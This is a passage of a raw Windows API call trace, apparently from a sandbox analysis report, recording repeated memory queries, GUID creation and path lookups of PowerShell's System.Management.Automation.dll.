returned 0x1c [0149.625] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.625] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.625] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.626] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.626] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.626] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.626] VirtualQuery (in: lpAddress=0x2bd11c, lpBuffer=0x2be11c, dwLength=0x1c | out: lpBuffer=0x2be11c*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.626] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.627] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.627] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.627] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.627] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xe6dee6ce, Data2=0xd78f, Data3=0x47c2, Data4=([0]=0xa2, [1]=0xa3, [2]=0x67, [3]=0xaf, [4]=0x50, [5]=0x87, [6]=0x9b, [7]=0x4b))) returned 0x0 [0149.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.628] GetLastError () returned 0x0 [0149.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.628] GetLastError () returned 0x0 [0149.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.628] GetLastError () returned 0x0 [0149.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.628] GetLastError () returned 0x0 [0149.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.628] GetLastError () returned 0x0 [0149.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.628] GetLastError () returned 0x0 [0149.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.629] GetLastError () returned 0x0 [0149.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.629] GetLastError () returned 0x0 [0149.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.629] GetLastError () returned 0x0 [0149.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.629] GetLastError () returned 0x0 [0149.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.629] GetLastError () returned 0x0 [0149.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.630] GetLastError () returned 0x0 [0149.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.630] GetLastError () returned 0x0 [0149.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.630] GetLastError () returned 0x0 [0149.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.630] GetLastError () returned 0x0 [0149.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.630] GetLastError () returned 0x0 [0149.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.631] GetLastError () returned 0x0 [0149.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.631] GetLastError () returned 0x0 [0149.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.631] GetLastError () returned 0x0 [0149.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.631] GetLastError () returned 0x0 [0149.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.631] GetLastError () returned 0x0 [0149.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.632] GetLastError () returned 0x0 [0149.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.632] GetLastError () returned 0x0 [0149.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.632] GetLastError () returned 0x0 [0149.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.632] GetLastError () returned 0x0 [0149.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.632] GetLastError () returned 0x0 [0149.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.632] GetLastError () returned 0x0 [0149.632] VirtualQuery (in: lpAddress=0x2bcf74, lpBuffer=0x2bdf74, dwLength=0x1c | out: lpBuffer=0x2bdf74*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.633] VirtualQuery (in: lpAddress=0x2bcfb0, lpBuffer=0x2bdfb0, dwLength=0x1c | out: lpBuffer=0x2bdfb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.633] GetLastError () returned 0x0 [0149.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.633] GetLastError () returned 0x0 [0149.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.633] GetLastError () returned 0x0 [0149.633] VirtualQuery (in: lpAddress=0x2bd07c, lpBuffer=0x2be07c, dwLength=0x1c | out: lpBuffer=0x2be07c*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.634] GetLastError () returned 0x0 [0149.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.634] GetLastError () returned 0x0 [0149.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.634] GetLastError () returned 0x0 [0149.634] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x91a7bdb5, Data2=0xdd73, Data3=0x4666, Data4=([0]=0x95, [1]=0x7, [2]=0x20, [3]=0x8b, [4]=0x4d, [5]=0xad, [6]=0x4e, [7]=0x64))) returned 0x0 [0149.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.634] GetLastError () returned 0x0 [0149.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.635] GetLastError () returned 0x0 [0149.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.635] GetLastError () returned 0x0 [0149.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.635] GetLastError () returned 0x0 [0149.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.635] GetLastError () returned 0x0 [0149.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.635] GetLastError () returned 0x0 [0149.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.635] GetLastError () returned 0x0 [0149.636] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.636] GetLastError () returned 0x0 [0149.636] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.636] GetLastError () returned 0x0 [0149.636] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x1e35a48d, Data2=0x13a6, Data3=0x477e, Data4=([0]=0x88, [1]=0x84, [2]=0xfe, [3]=0x82, [4]=0x67, [5]=0xd7, [6]=0x8d, [7]=0xd9))) returned 0x0 [0149.636] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.636] GetLastError () returned 0x0 [0149.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.637] GetLastError () returned 0x0 [0149.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.637] GetLastError () returned 0x0 [0149.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.637] GetLastError () returned 0x0 [0149.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.637] GetLastError () returned 0x0 [0149.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.637] GetLastError () returned 0x0 [0149.637] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xd4747ef5, Data2=0x6961, Data3=0x40c2, Data4=([0]=0x8b, [1]=0x1f, [2]=0x64, [3]=0x13, [4]=0xa6, [5]=0x96, [6]=0x7a, [7]=0x8))) returned 0x0 [0149.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.638] GetLastError () returned 0x0 [0149.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.638] GetLastError () returned 0x0 [0149.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.638] GetLastError () returned 0x0 [0149.638] GetFullPathNameW (in: 